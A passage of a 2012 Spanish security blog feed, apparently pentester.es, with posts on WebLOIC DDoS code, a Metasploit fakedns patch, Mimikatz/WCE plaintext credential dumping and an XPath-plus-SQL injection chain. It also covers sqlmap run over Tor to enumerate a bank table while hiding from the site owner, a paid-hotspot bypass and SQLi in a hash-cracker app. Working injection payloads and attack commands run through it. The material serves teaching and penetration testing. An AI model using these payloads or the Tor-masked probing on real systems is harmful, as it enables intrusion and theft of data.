fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));

Vemos que usa la función setInterval(), que va a ejecutar el "makeHttpRequest" la cantidad de veces por segundo que se le ha indicado en el formulario.

A modo de resumen, el "WebLOIC" utiliza javascript para crear objetos que hacen referencia a imagenes (que no existen) en el servidor atacado, a una gran velocidad, con lo que se generan muchas conexiones que podrían llegar a colapsar el servidor, sobretodo si el ataque es seguido por un gran número de gente.

Una cosa a destacar, es que la gente que accede a estas webs puede llegar a pensar que es la web la que lanza el ataque, pero no, como hemos podido ver, es el navegador del usuario el que genera las conexiones, por lo que en todos los registros del servidor atacado va a aparecer su IP, User-Agent, etc, incluso si se realiza contra una web de la que seas usuario habitual... ¿se mandaría tu cookie? tendría que probarlo, pero es posible que sí, y que pudieran identificarte con nombre y apellidos.

Esta, por supuesto, solo es una más de las herramientas que se pueden usar para hacer un DDoS, pero me ha parecido interesante pegarle un vistazo por haber sido usada recientemente en la pasada huelga general.

Actualización: Leo en un Tweet de Luis Delgado que ha probado el tema de la Cookie y, efectivamente, ésta sería mandada. Ver Tweet AQUÍ.

Mejorando FakeDNS (y II)

noreply@blogger.com (Jose Selvi) — Tue, 27 Mar 2012 05:33:00 +0000

En la anterior entrada nos quedábamos con que habíamos modificado el módulo "fakedns" de Metasploit para invertir su funcionalidad, y nos habíamos encontrado con un mensaje de error en determinadas circunstancias:

msf auxiliary(fakedns_single) >
[-] fakedns: Resolv::ResolvError DNS result has no information for foo.pentester.es
[...]

El problema que identificamos es que el módulo tiene un error cuando intentas resolver contra él un nombre que no existe (foo.pentester.es). Esto es debido a que hemos alterado con un parche guarrindongo el funcionamiento original del módulo, así que ahora nos vemos en situaciones que el desarrollador no pensó. En este caso, la resolución real únicamente se iba a realizar para aquellos nombres que nosotros definiéramos en el "domain bypass", que evidentemente iban a ser dominios existentes, así que no se implementaron medidas que comprobaran si la resolución existe o no.

Como hemos modificado el módulo y ahora no tenemos control sobre los nombres que va a resolver y cuales no, debemos añadir un control de excepciones en la zona del código en la que se realiza la resolución:

begin
ip = Resolv::DNS.new().getaddress(name).to_s
answer = Resolv::DNS::Resource::IN::A.new( ip )
rescue ::Exception => e
next
end

Con este control añadido, vamos a volver a intentar resolver algunos nombres a ver si hemos conseguido que el módulo siga funcionando a pesar de no poder resolver un nombre:

$ dig @127.0.0.1 www.pentester.es
www.pentester.es. 60 IN A 192.168.1.100
$ dig @127.0.0.1 foo.pentester.es
;foo.pentester.es. IN A
$ dig @127.0.0.1 www.yahoo.com
www.yahoo.com. 60 IN A 98.139.183.24

Perfecto! Ahora está resolviendo correctamente y además no casca, así que ya podemos utilizarlo para analizar las conexiones que queremos.

Esta solución es un poco chapuza, pero es funcional, y nos puede servir para interceptar solo las conexiones que queramos, con algunas limitaciones.

¿Quereis ver la solución buena? Lo veremos en el próximo post.

Mejorando FakeDNS (I)

noreply@blogger.com (Jose Selvi) — Mon, 26 Mar 2012 05:38:00 +0000

Como ya sabréis todos, soy un enamorado del Metasploit Framework, pero no por los exploits que incluye, sino por otras funcionalidades incluidas en el framework que me resultan muy útiles y cómodas de utilizar.

Una de las funcionalidades que uso con mucha frecuencia es la del módulo fakedns, que te permite configurar un servidor DNS en cuestión de segundos, que resolverá cualquier nombre con la IP que le digamos, salvo una lista concreta de nombres para los que se resolverán sus IPs reales.

Veamos como funciona:

# ./msfconsole
msf > use auxiliary/server/fakedns
msf auxiliary(fakedns) > show options

Module options (auxiliary/server/fakedns):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAINBYPASS www.google.com yes The list of domain names we want to fully resolve
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 53 yes The local port to listen on.
TARGETHOST no The address that all names should resolve to

msf auxiliary(fakedns) > set DOMAINBYPASS www.pentester.es

msf auxiliary(fakedns) > set TARGETHOST 192.168.1.100

msf auxiliary(fakedns) > run

[*] Auxiliary module execution completed

[*] DNS server initializing

[*] DNS server started

Ahora, si probamos a hacer algunos "dig" (os enseño la salida recortada), veremos como resuelve todos los nombres con la dirección 192.168.1.100, salvo el nombre www.pentester.es (o los que hubiéramos pasado separados por espacios):

$ dig @127.0.0.1 www.google.com

www.google.com. 60 IN A 192.168.1.100

$ dig @127.0.0.1 www.yahoo.com

www.yahoo.com. 60 IN A 192.168.1.100

$ dig @127.0.0.1 www.pentester.es

www.pentester.es. 60 IN A 173.194.66.121

Este funcionamiento... a mi nunca me ha terminado de convencer, lo veo demasiado "de botón gordo", ya que yo por lo general suelo querer interceptar solo una o un grupo de conexiones, y dejar que todas las demás sigan su funcionamiento normal.

Por suerte estamos trabajando con software OpenSource y tenemos la oportunidad de poder acceder al código y modificarlo según nos convenga, así que vamos a pegarle un vistazo al código (modules/auxiliary/server/fakedns.rb):

Como podemos ver, hay un punto en el código en el que se recorre la lista y se compara con la petición DNS que acaba de entrar. Si son iguales, entonces se hace una resolución "normal", mientras que si tras recorrer la lista no ha encontrado ninguno se entiende que al no estar en la lista de "bypass", se envia la respuesta "fake".

Si pensamos en una solución rápida y práctica, podemos sencillamente cambiar la condición:

[...]

if (name.to_s <=> ex) != 0

[...]

Con esto, siempre y cuando solo pongamos un elemento en la lista, vamos a tener más que suficiente, ya que va a funcionar de la forma completamente contraria: Cuando el nombre solicitado esté en la lista resolverá con fake, y cuando no lo esté funcionará normal.

Esta aproximación tan sencilla es la que he usado muchas veces cuando he querido interceptar las conexiones de algún software para analizarlas y dejar que el resto de elementos del sistema funcionen sin pasar por mis otras herramientas. Sin embargo, en algunas situaciones...

msf auxiliary(fakedns_single) > [-] fakedns: Resolv::ResolvError DNS result has no information for foo.pentester.es /System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/resolv.rb:363:in `getaddress'/opt/msf/modules/auxiliary/server/fakedns.rb:143:in `run'/opt/msf/modules/auxiliary/server/fakedns.rb:140:in `each'/opt/msf/modules/auxiliary/server/fakedns.rb:140:in `run'/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/resolv.rb:1183:in `each_question'/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/resolv.rb:1182:in `each'/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/resolv.rb:1182:in `each_question'/opt/msf/modules/auxiliary/server/fakedns.rb:115:in `run'/opt/msf/lib/msf/base/simple/auxiliary.rb:102:in `job_run_proc'/opt/msf/lib/msf/base/simple/auxiliary.rb:74:in `run_simple'/opt/msf/lib/rex/job_container.rb:36:in `call'/opt/msf/lib/rex/job_container.rb:36:in `start'/opt/msf/lib/rex/thread_factory.rb:21:in `call'/opt/msf/lib/rex/thread_factory.rb:21:in `spawn'/opt/msf/lib/msf/core/thread_manager.rb:64:in `call'/opt/msf/lib/msf/core/thread_manager.rb:64:in `spawn'/opt/msf/lib/msf/core/thread_manager.rb:57:in `initialize'/opt/msf/lib/msf/core/thread_manager.rb:57:in `new'/opt/msf/lib/msf/core/thread_manager.rb:57:in `spawn'/opt/msf/lib/rex/thread_factory.rb:21:in `spawn'/opt/msf/lib/rex/job_container.rb:31:in `start'/opt/msf/lib/rex/job_container.rb:155:in `start_bg_job'/opt/msf/lib/msf/base/simple/auxiliary.rb:71:in `run_simple'/opt/msf/lib/msf/base/simple/auxiliary.rb:89:in `run_simple'/opt/msf/lib/msf/ui/console/command_dispatcher/auxiliary.rb:103:in `cmd_run'/opt/msf/lib/rex/ui/text/dispatcher_shell.rb:380:in `send'/opt/msf/lib/rex/ui/text/dispatcher_shell.rb:380:in `run_command'/opt/msf/lib/rex/ui/text/dispatcher_shell.rb:342:in `run_single'/opt/msf/lib/rex/ui/text/dispatcher_shell.rb:336:in `each'/opt/msf/lib/rex/ui/text/dispatcher_shell.rb:336:in `run_single'/opt/msf/lib/rex/ui/text/shell.rb:199:in `run'./msfconsole:134

Ops! Cascazo! Y además la ejecución del módulo se ha ido al garete, así que como tenga en una red o host peticiones como esta... voy a estar teniendolo que rearrancar cada dos por tres. Imposible trabajar así, vamos.

En el próximo post veremos porque pasa esto y como evitarlo, y seguiremos mejorando el fakedns.

Hackers

noreply@blogger.com (Jose Selvi) — Tue, 20 Mar 2012 12:06:00 +0000

Antes de nada, quiero adelantar que no soy persona a la que le guste escribir posts de opinión ni nada que no tenga "cacharreo" detrás, pero en esta ocasión voy a hacer una excepción que supongo que entendereis si leéis hasta el final.

En la pasada RootedCON, durante uno de los RootedPanels, uno de los moderadores preguntó ¿cuántos de aquí sois hackers? Prácticamente nadie de la audiencia levantó la mano (entre los que me incluyo). El término "Hacker" está siendo empleado por los medios como sinónimo de "Pirata Informático" o "delincuente", y con toda esa carga semántica es normal que nadie quiera levantar la mano.

La definición que más me gusta, no recuerdo donde lo leí o a quien se la escuché, o si se me ocurrió en un momento de inspiración filosófica, pero: El Hacking es el ARTE de hacer que las cosas funcionen de manera diferente a como su creador originalmente pensó. Si os fijáis, este definición no es puramente tecnológica, como otras que he visto, y se puede aplicar a aquella persona que diseña una cadena de entrada que hace que un software ejecute código cuando únicamente debería mostrar una información, pero también se puede aplicar a aquellas personas que hacen tunning de un coche, o a los compañeros de IKEA Hackers, que cogen las piezas de un mueble y las montan de forma que se obtiene algo diferente. Esto para mi es ser un Hacker, tener un conocimiento sobre tu campo suficientemente profundo como para poder hacer Hacking sobre él.

A pesar de esto, son tan malas las connotaciones que se han atribuido al término "Hacker" que los que nos dedicamos a esto empleamos el término "Hacking Ético" para venderlo ¿cómo que ético? ODIO el término "ético" porque asume que el "Hacking" de por si no es ético, algo que es totalmente falso. Es como si algunos atracadores de bancos practicaran atletismo y lo utilizaran para darse a la fuga, y los medios acabaran usando tantas veces el término "atleta" como sinónimo de "delincuente" que los que siempre lo han practicado tuvieran que empezar a decir que practican "Atletismo Ético". Absurdo ¿verdad? ¿Y "cerrajerismo ético"? También hay ladrones que abren cerraduras, y no por ello los medios han "demonizado" a este colectivo.

Pero también es culpa nuestra, porque hemos permitido que lo hagan, porque no les hemos corregido, o porque cuando una persona pregunta ¿quién aquí se considera un hacker? Todos agachamos la cabeza y fortalecemos la sensación de la sociedad de que ser un hacker es algo malo.

Yo soy un hacker, o al menos intento leer, estudiar, practicar todos los días para alcanzar los conocimientos necesarios para poder utilizar las técnicas de hacking. NO soy un delincuente, y ME NIEGO a seguir utilizando el calificativo "Ético" referido a mi trabajo.

¿Te gusta leer absolutamente todo lo que pasa por tus manos? ¿Te gusta saber como funciona todo hasta el más mínimo detalle? Y cuando ves claramente que en determinadas circunstancias podrías hacer que algo funcionara de manera diferente ¿te gusta probar si eres capaz de hacerlo? Amigo mio, eres un hacker.

-----------------------------

En memoria de Hugo Castellano, gran defensor de la comunidad hacker y padre del compañero Nico Castellano, que falleció el pasado sábado, y que nos tuvo que recordar a todos lo que somos y que hay que tener el valor de defender lo que uno es en cualquier circunstancia. Gracias Don Hugo, nunca le olvidaremos. Descanse en Paz.

Mimikatz & WCE 1.3beta

noreply@blogger.com (Jose Selvi) — Mon, 12 Mar 2012 06:29:00 +0000

Hace algo más de un mes, mi compañero Julio Gómez nos mandaba a unos cuantos una herramienta llamada Mimikatz, publicada en Frances, que decía poder extraer las contraseñas de Windows de la memoria. Tras unas cuantas horas de pruebas, IDA, y ver un poco que hacía, parece que efectivamente la herramienta hacía lo que decía hacer.

Fruto de las pruebas, otro compañero, Ramón Pinuaga, escribía en el blog de S21sec un articulo donde comentaba el descubrimiento de la herramienta, la técnica que empleaba, y algunas de las pruebas que hicimos con ella.

Ahora, algunas semanas después, una actualización de una de mis herramientas favoritas: Windows Credential Editor (WCE) de Hernán Ochoa, de la que ya he hablado en otras ocasiones, incorpora esta técnica y es capaz de obtener las credenciales en texto claro mediante la nueva opción -w:

En estos momentos, la versión 1.3, que es la que soporta esta nueva funcionalidad, se encuentra en estado Beta, y únicamente disponible en su versión de 32 bits, aunque todos esperamos poder verla pronto disponible para 64 bits.

> wce.exe -w

Según he podido leer tanto en el blog del autor de Mimikatz, la información que conozco sobre WCE y un poquito de IDA, la técnica empleada originariamente por Mimikatz sería muy similar (por no decir idéntica) a la empleada tradicionalmente por WCE, salvo que a éste último se le habría añadido la funcionalidad de consultar otros Security Packages además de MSV1_0, concretamente WDigest, de donde se pueden obtener las credenciales en texto claro. La otra posibilidad, que era la de obtener las credenciales a través de Tspkg no ha sido implementada, imagino que porque esta última requiere que el sistema sea un Windows Vista o superior, mientras que en el caso de WDigest la técnica funcionaría con cualquier equipo Windows XP o superior.

No nos olvidemos que para que estas credenciales hayan sido almacenadas en memoria es necesario que el usuario haya hecho login en la máquina físicamente o a través de Terminal Server en algún momento tras el último reinicio de la máquina. Las autenticaciones a través de red almacenarían esta contraseña, ya que esta ni siquiera llegaría a ser transmitida a este equipo.

En el próximo post, algunas "jugadas" que podemos hacer empleando esta técnica.

Actualización: En los comentarios del post podeis ver una explicación muy completa que ha realizado Hernan Ochoa, autor de WCE, sobre el funcionamiento del mismo, con todas las referencias necesarias para comprender el proceso. También nos anuncia que ya ha liberado la versión para 64 bits de la nueva versión de la herramienta.

SQLMap con Tor

noreply@blogger.com (Jose Selvi) — Thu, 08 Mar 2012 07:47:00 +0000

Cada vez que oigo la palabra TOR me acuerdo de dos cosas: La primera es de la película "El Trueno Azul", y de Frank Murpy y su "JAFO". La película es antigua antigua, pero es una de esas que se te quedan en la retina cuando eres niño.

La segunda es de una frase de @pof en la mesa redonda en la que participó en la NoConName de este pasado año: "La primera comilla desde casa, el resto desde TOR".

La verdad es que por suerte o por desgracia, a todos los interesados por la seguridad se nos escapa una comilla de vez en cuando, y nos damos cuenta, casi sin querer, de lo fácil que es vulnerar la seguridad de algunos sitios. Yo aporreo el teclado al azar y la mitad de las veces me sale un ' OR '1'='1 , no lo puedo evitar :P

Lamentablemente, la legislación hoy en día nos lo pone difícil, ya que una vez encontrado uno de estos fallos hay que ser valiente para reportarlo. Existen mecanismos, como los CERTs y las Fuerzas y Cuerpos de Seguridad del Estado, sobretodo si quedan "a la vista" datos sensibles de ciudadanos. No obstante, aunque estas entidades nos garanticen el anonimato, la empresa afectada siempre podría buscar en sus logs y acabar viendo tu IP. Aquí es donde entra TOR.

En algún otro post nos meteremos a fondo con como funciona la red TOR, pero para ser prácticos diremos que es un proxy que nos instalamos en nuestro equipo al que podamos conectarnos, y que hace que nuestras conexiones salgan a través de diferentes nodos de la red, distribuidos por todo el mundo. Para saber a que puerto y mediante que protocolo funciona este proxy, simplemente tenemos que ir a las preferencias de red del navegador Firefox que viene con TOR y ver como está configurado:

Algunas herramientas, como SQLMap, ya incorporan directamente soporte para que las utilicemos a través de TOR, aunque podríamos adaptar cualquier herramienta que suporte el uso de proxy SOCKSv5. De esta forma, mediante las opciones --tor, --tor-port y --tor-type podemos configurar SQLMap para que funcione a través de la red TOR, y así olvidarnos de los problemas que podamos tener:

$ ./sqlmap.py -u "http://xxx.yyy.zzz.www/check.php?order=123456" -p order --tor --check-tor --tor-port=50247 --tor-type=SOCKS5 -D checkdb -T bank_account --columns

[02:14:51] [WARNING] increasing default value for --time-sec to 10 because switch '--tor' was provided

[02:14:52] [INFO] setting Tor SOCKS proxy settings

[02:14:52] [INFO] checking Tor connection

[02:14:54] [INFO] Tor is properly being used

[02:14:54] [INFO] using '/opt/sqlmap/output/xxx.yyy.zzz.www/session' as session file

[02:14:54] [INFO] resuming injection data from session file

[02:14:55] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session file

[02:14:55] [INFO] testing connection to the target url

[02:14:58] [INFO] the back-end DBMS is MySQL

web server operating system: Linux CentOS 5

web application technology: Apache, PHP 5.2.10, Apache 2.2.3

back-end DBMS: MySQL 5.0.11

Database: checkdb

Table: bank_account

[3 columns]

+------------------------+---------------+

| Column | Type |

+------------------------+---------------+

| account_name | varchar(32) |

| account_number | varchar(32) |

| id | int(11) |

+------------------------+---------------+

"Aguita" como están las cosas por ahí fuera, no quiero ni mirar la tabla :)

Que nadie se olvide que este tipo de medidas sirven para que la empresa no tenga la tentación de querer pagar con nosotros la rabia de tener a la guardia civil encima por un incumplimiento de la LOPD, pero si la lias MUY PARDA entonces ya entra la policía, los ISPs, la colaboración internacional, el profiling, en fin... que no la lieis parda xD

Eso es todo. Tenga cuidado ahí fuera!

ByPass cutre-HotSpot

noreply@blogger.com (Jose Selvi) — Mon, 05 Mar 2012 06:26:00 +0000

Como todos los que viajais algo por ahí como yo sabeis, en los hoteles está de moda ofrecer conexión a Internet (Bien!) a través de HotSpots de pago (Ouch!). Yo nunca he sido usuario de esta tecnología, porque por suerte tengo un pincho 3G y como cuando voy de hoteles tampoco suelo necesitar descargarme nada, me resulta más que suficiente.

Sin embargo, el tema de la seguridad de los HotSpot es algo que siempre oigo en boca de todos, que si tunelización por DNS (lento, lento, lento...), que si sniffar la red y hacer un MAC Spoofing para suplantar a un usuario legítimo, ... pero nunca había oído algo como lo que me encontré el otro día:

Hasta ahí todo normal ¿verdad? Hemos conectado a una Wifi abierta (nunca entenderé por qué...), y al intentar visitar cualquier página, por ejemplo Google, el HotSpot nos salta y nos pide usuario y contraseña.

Como una de las técnicas típicas que siempre se oyen es lo de "pues te pones la Mac de alguien que esté conectado y a correr!", quise pegarle un vistazo a ver cuantas personas estaban conectadas a ésta misma Wifi. Lo podría haber sacado con Airodump o algún otro software similar, pero ya que estaba conformado, me conformé con usar NMap.

# nmap -sP 10.0.0.0/22
Nmap done: 256 IP addresses (24 hosts up) scanned in 206.54 seconds

De primeras me llamó la atención de que hubiera tanta gente conectada ¿tan lleno estaría el hotel? Me decidí a pegarle un vistazo en detenimiento a los equipos, para ver si dejaba de tener esa sensación de "oler a bug" que suelo tener en estas situaciones.

# nmap -sS -PN -T5 -p 1-65535 10.0.0.69

Nmap scan report for localhost (10.0.0.69)
Host is up (0.000068s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
53/tcp open domain
80/tcp open www-http
3129/tcp open squid
8080/tcp open http-proxy

Mmmm, ¿un equipo de usuario con los puertos 53, 80, 3129, 8080 abiertos? Uy que peste...

La misma situación se puede observar para todos los equipos conectado a la wifi, así que podemos deducir que ABSOLUTAMENTE TODAS las conexiones que pasan a través del AP son redirigidas a la pantalla de login del HotSpot, siempre que sea una conexión a alguno de estos puertos.

¿Podré conectarme a casa por VPN? ¿Y usar el correo por el puerto de IMAPs? ¿Y bajarme cosas del Emule?

Como podeis imaginar, la respuesta es SI, va a funcionar sin emplear ningún tipo de técnica, siempre y cuando los servicios a los que accedes no estén en ninguno de estos cuatro puertos.

Pero... ¿y si queremos navegar? La verdad es que este HotSpot es nuestro amigo y nos ayuda a mejorar nuestro nivel de seguridad, y más tratándose de una Wifi compartida, ya que nos obliga a emplear HTTPS para visitar las webs, ya que al ir por el puerto 443, no está dentro de los puertos "capturables", y por tanto vamos a poder salir a Internet de una forma segura... y gratis ¿qué más se puede pedir?

Ya podemos navegar, entrar en nuestro correo de GMail, visitar FaceBook, y en general cualquier web que tenga opción de ser visitada empleando HTTPS, que no son todas, pero si las más "imprescindibles".

¿Y si la web que queremos ver no dispone de HTTPS? Bueno, siempre podemos intentar acceder a alguna que sí que podamos acceder por HTTPS, y que desde esta nos muestre el contenido de la web que queremos ver. Un ejemplo, aunque no muy cómodo, es usar la propia caché de Google, consultada a través de HTTPS.

Pues la verdad es que es mucho más sencillo de lo que pensaba, al menos con el fabricante de estos HotSpots ¿ Habéis jugado con los HotSpots? ¿ Tenéis alguno cerca? ¿ probáis esto y me decís?

Imagino que esto será un error de diseño de este fabricante de HotSpots en concreto, pero por asegurarnos...

Covert Channels over Social Networks

noreply@blogger.com (Jose Selvi) — Tue, 28 Feb 2012 06:55:00 +0000

Como ya anunciamos hace algunas semanas, este pasado fin de semana estuve dando la charla "Covert Channels over Social Network" en las Conferencias GSIC, en A Coruña.

Ante todo, gracias a la organización por invitarme a asistir y por el buen trato recibido.

Dicho esto, las slides que utilicé pueden descargarse de AQUÍ, aunque podeis ver el video de ellas con las transiciones en el siguiente video:

También ha sido publicado ya el video de la charla completa que dí en las Conferencias SOURCE en Barcelona, el pasado año, que básicamente es la misma que la que he dado en GSIC:

El código fuente de la PoC (FaceCat) y una serie de posts explicando con detalles, lo dejaré para dentro de algunas semanas, para hacerlo coincidir con la publicación de un paper sobre este tema que va a publicar el SANS Institute.

"WebApp Penetration Testing & Ethical Hacking" del SANS en Madrid

noreply@blogger.com (Jose Selvi) — Thu, 16 Feb 2012 19:01:00 +0000

¿Te interesa la seguridad web? ¿Eres el responsable de seguridad de una empresa donde la inmensa mayoría de los servicios son web? ¿Te gustaría empezar a especializarte en auditoría web? ¿Eres desarrollador y estás cansado de que te saquen los colores en las auditorías?

Si has respondido SI a alguna de estas preguntas, ahora tienes la oportunidad que estabas esperando. Entre el 12 y el 17 de Marzo (lunes-sábado) se imparte en Madrid el curso "SEC542: WebApp Penetration Testing & Ethical Hacking" en modalidad Community. Hace algún tiempo publiqué en este mismo blog una extensa explicación sobre las diferentes modalidad de curso que ofrece el SANS Institute, que podeis consultar AQUÍ.

El curso se realiza de forma totalmente presencial, en 6 días de 6 horas, entre el 12 (lunes) y el 17 de Marzo (sábado), ambos inclusive. El idioma del curso es en Español, pero los materiales (libros, DVDs, ...) estarán en Inglés, al igual que el examen, que en caso de realizarlo también será totalmente en Inglés.

El profesor, de auténtico lujo, Raúl Siles, que además de Instructor del SANS Institute es Fundador de la empresa Taddong y ponente habitual de las principales conferencias nacionales e internacionales.

Para finalizar, el SANS Institute ofrece a los lectores de Pentester.Es un descuento especial de un 10% del valor del curso introduciendo el código CS-1MAD4Y en el momento del registro, aunque es necesario que primero os pongáis en contactos con el instructor del curso para que os resuelva cualquier duda que podais tener.

Si necesitáis más información sobre el curso o sobre cualquier otra cosa, la podeis consultar en ÉSTE documento, o preguntar directamente por correo electrónico a Raúl Siles.
El registro para el curso puede realizarse AQUÍ.

FaceCat en GSIC - La Coruña

noreply@blogger.com (Jose Selvi) — Tue, 31 Jan 2012 06:37:00 +0000

Los próximos días 23, 24 y 25 de Febrero tendrá lugar en La Coruña la cuarta edición de las Jornadas G.S.I.C, en las que tendré la oportunidad de participar como ponente y hablar de una prueba de concepto de uso de canales cubiertos sobre redes sociales, concretamente FaceBook, llamada FaceCat.

En la charla, además de explicar los pasos que se siguieron para el diseño de la herramienta, haremos un par de demos de como se podría emplear esta herramienta (o técnicas parecidas) para ocultar la comunicación de un conocido troyano, siendo a nivel de red indistinguible de una comunicación de FaceBook.

Además de la mía, podréis asistir a otras charlas muy interesantes, que podéis ver AQUÍ.

Os recomiendo a todos la asistencia.
Nos vemos allí!

XPath y SQL Injection: Todos a una

noreply@blogger.com (Jose Selvi) — Mon, 16 Jan 2012 06:17:00 +0000

Por desgracia (o por suerte), muchos de nosotros estamos acostumbrado a encontrarnos esas Inyecciones SQL tan de libro como poner un ' AND '1'='1 y a partir de ahí empezar a jugar. Desde luego, son las más rápidas de encontrar y de explotar, pero del mismo modo son las menos divertidas.

Sin embargo, a veces me encuentro con vulnerabilidades más curiosas y divertidas, por ejemplo es muy típico eso de que la misma variable se use para varias cosas dentro de un mismo código, y que para llegar a explotar la vulnerabilidad tengas primero que conseguir que la cadena que metas no provoque errores anteriores.

El caso que os voy a comentar aquí es de este tipo, y está basado en casos reales que me he encontrado por ahí. Imaginad una URL del siguiente tipo:

http://demo.pentester.es/buscar.aspx?ID=666999

La web simplemente muestra la descripción de un articulo concreto, hasta aquí nada "divertido".

Podemos empezar a meter caracteres varios como si no hubiera mañana, a ver como responde, comillas simples, dobles, cadenas típicas de inyección, etc, hasta que introduzcamos algo como:

ID=666999' ERROR

Y nos devuelve un error como el siguiente:

Tiene toda la pinta de ser vulnerable a XPath Injection. Vamos a comprobarlo:

ID=666999' and 'foo'='foo

Wooops! Qué tenemos aquí? Parece que además de usar el valor del parametro ID para la consulta XPath, a posteriori usa ese mismo valor para realizar una petición SQL a una base de datos Oracle.

¿Hará esta petición siempre? ¿O únicamente si la petición XPath devuelve resultados?

Forcemos que no devuelva ninguno, a ver que pasa:

ID=666999' and 'foo'='fuu

Con esto hemos conseguido que la petición XPath sea siempre falsa, y efectivamente no nos devuelve ningún error SQL (y la ficha aparece vacía de datos, evidentemente), así que necesitamos que se nos devuelva algún valor y que la sintaxis sea correcta para que podamos intentar la Inyección SQL.

El problema con el que nos encontramos es que el contenido del parámetro ID es empleado en la consulta SQL como un numerico, así que al poner las comillas para hacer el XPath Injection fastidiamos la sintaxis de la sentencia SQL, y si no ponemos la comilla entonces estamos haciendo que la consulta XPath no devuelva ningún resultado, con lo que nunca se ejecuta la SQL.

¿Cómo salimos de esta?

Vamos a tener que inventarnos algún tipo de cadena de inyección que cumpla las siguientes condiciones:

No provoque un error de sintaxis XPath
Haga que devuelva algún valor en la consulta XPath
No provoque un error de sintaxis SQL

Por suerte tenemos a la vista tanto la sentencia XPath como la sentencia SQL, así que la cosa nos va a resultar mucho más fácil. Seguro que existen mucha manera de resolver este mismo problema, pero a mi la que primero me ha venido la cabeza es la siguiente:

Dado que el principal problema es que no podemos introducir instrucciones SQL por dentro de las comillas simples (que es donde nos hace falta) porque eso provoca que la petición XPath no devuelva ningún resultado y por tanto que la SQL nunca se ejecute, una posible solución sería replicar la condición de la siguiente forma:

ID=666999' or ID=666999

Lo cual, al inyectarse dentro de la petición XPath, la dejará de la siguiente manera:

TEST/REGISTROS['ID=666999' or ID='666999']

Ahora podemos introducir todo lo que queramos antes de la primera comilla (salvo comillas, claro está), y eso no provocará ningún tipo de error XPath ni impedirá que la sentencia devuelva los valores esperados, con lo que ya podemos centrarnos en la SQL.

Si observamos la SQL, tiene un montón de lineas, paréntesis, subqueries y demás. El valor que nosotros introducimos, además, aparece en varios sitios de la query, pero por suerte la primera vez que aparece es en una de las primeras condiciones de los WHERE, así que nos va a resultar bastante sencillo "cargarnos" el resto de la query comentándola:

ID=666999 -- ' or ID='666999

Eso dejaría una query SQL del aspecto de la siguiente:

SELECT a,b,c,d,e,f,g FROM t1,t2,t3,t4,t5,t6,t7,t8 WHERE id=666999 -- ' or ID='666999 [...]

Nota: Ponemos [...] en lugar de todo el churro que ya no nos interesa de ahora en adelante.

Como podeis ver, la cosa parece que se nos pone cuesta abajo a partir de este punto.

Ahora solo tenemos que concatenarle un UNION con el número de columnas adecuado a ver si conseguimos sacar información por pantalla:

ID=666999 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL -- ' or ID='666999

Esto debería sacarnos la información del artículo con todo campos vacíos, pero en lugar de eso vemos lo siguiente:

Parece ser que el mismo parámetro se usa una segunda vez para formar otra sentencia SQL, pero esta ya no tiene 7 columnas, sino una sola, así que el UNION que nos va a funcionar con una nunca funcionará con la otra. Esto podría ser un problema, pero no nos pongamos nervioso, quizá simplemente dándole a aceptar...

Efectivamente, aunque la segunda sentencia nos devuelva un error, la primera se ejecuta y además imprime los resultados por pantalla, lo cual podemos comprobarlo por ejemplo mostrando el nombre del usuario:

ID=666999 UNION SELECT NULL,USER,SYS.DATABASE_NAME,NULL,NULL,NULL,NULL FROM DUAL -- ' or ID='666999

A partir de aquí, ya seguiríamos el proceso de Inyección SQL habitual, intentar sacar las tablas, información sensible, intentar escalar privilegios, e incluso ejecutar código en el sistema operativo, si fuera posible.

Crackeando un Hash Cracker (III): SQLi con MD5

noreply@blogger.com (Julio Gómez) — Thu, 12 Jan 2012 06:19:00 +0000

Contribución de Julio Gómez: Continuamos el post de ayer y acabamos la serie sobre como se puede crackear un hash cracker:

También veo que almacenan todas las contraseñas que la aplicación rompe en una base de datos... ¿Inyección de SQL? La sentencia que utilizan es similar a la siguiente:

mysql_query ("INSERT INTO table (timestamp, hash, algorithm, pass) VALUES ('".time()."', '".$hash."', '".$algorithm."', '".$pass."')");

Como la inserción sólo se ejecuta si se recupera la contraseña, el hash y el algoritmo de cifrado tienen que haber sido correctos para poder ejecutar findmyhash por debajo. Así que sólo podemos probar a inyectar en el campo 'password'.

Utilizando el mismo método que con el Cross Site Scripting, pruebo primero con una inyección sencilla:

calculo el hash de la cadena a inyectar. En este caso utilizo "password')#a" (sin las comillas): 380af891ac68ababff4d96cb2d242c06
pruebo a introducir el hash para ver si lo rompe la aplicación (que lo hace, ya que lo he calculado en uno de los servicios que utiliza).

accedo a la base de datos para que ver si ha añadido la cadena completa ("password')#a") o tan sólo la palabra "password", que era el objetivo. Y compruebo que la inyección ha funcionado, almacenando una password errónea:

Lo siguiente que se me ocurre es probar a insertar varios registros de una sola vez con una inyección como la siguiente:

fake1'),('1325005093','380af891ac68ababff4d96cb2d242c06','md5','fake2'),('1325005093','380af891ac68ababff4d96cb2d242c06','md5','fake3'),('1325005093','380af891ac68ababff4d96cb2d242c06','md5','fake4

cuyo hash es:

2751527becb471df139eb066442bef74

Si vuelvo a acceder a la base de datos puedo comprobar que se han añadido cuatro filas nuevas con tan sólo una consulta:

Nota Jose Selvi: Ciertamente, teniendo un acceso shell, quizá explotar una SQLi carezca de sentido, puesto que podríamos subir una webshell que accediera a la base de datos y la modificara de la forma que queramos, pero aún así Julio lo ha hecho para demostrar la existencia de la vulnerabilidad.

Como hemos visto, aunque la aplicación valida las entradas del usuario para tratar de evitar los Cross Site Scripting, hay otros vectores de inyección que no se han tenido en cuenta a la hora de implementarla.

En general, todos los datos de entrada de una aplicación, provengan de donde provengan (entradas de usuario, bases de datos, ficheros de configuración, salida de otras aplicaciones...), deben validarse de la manera más restrictiva posible y no hay que confiar en que el origen de los datos sea "confiable", porque como acabamos de ver, no siempre es realmente confiable todo lo que lo parece.

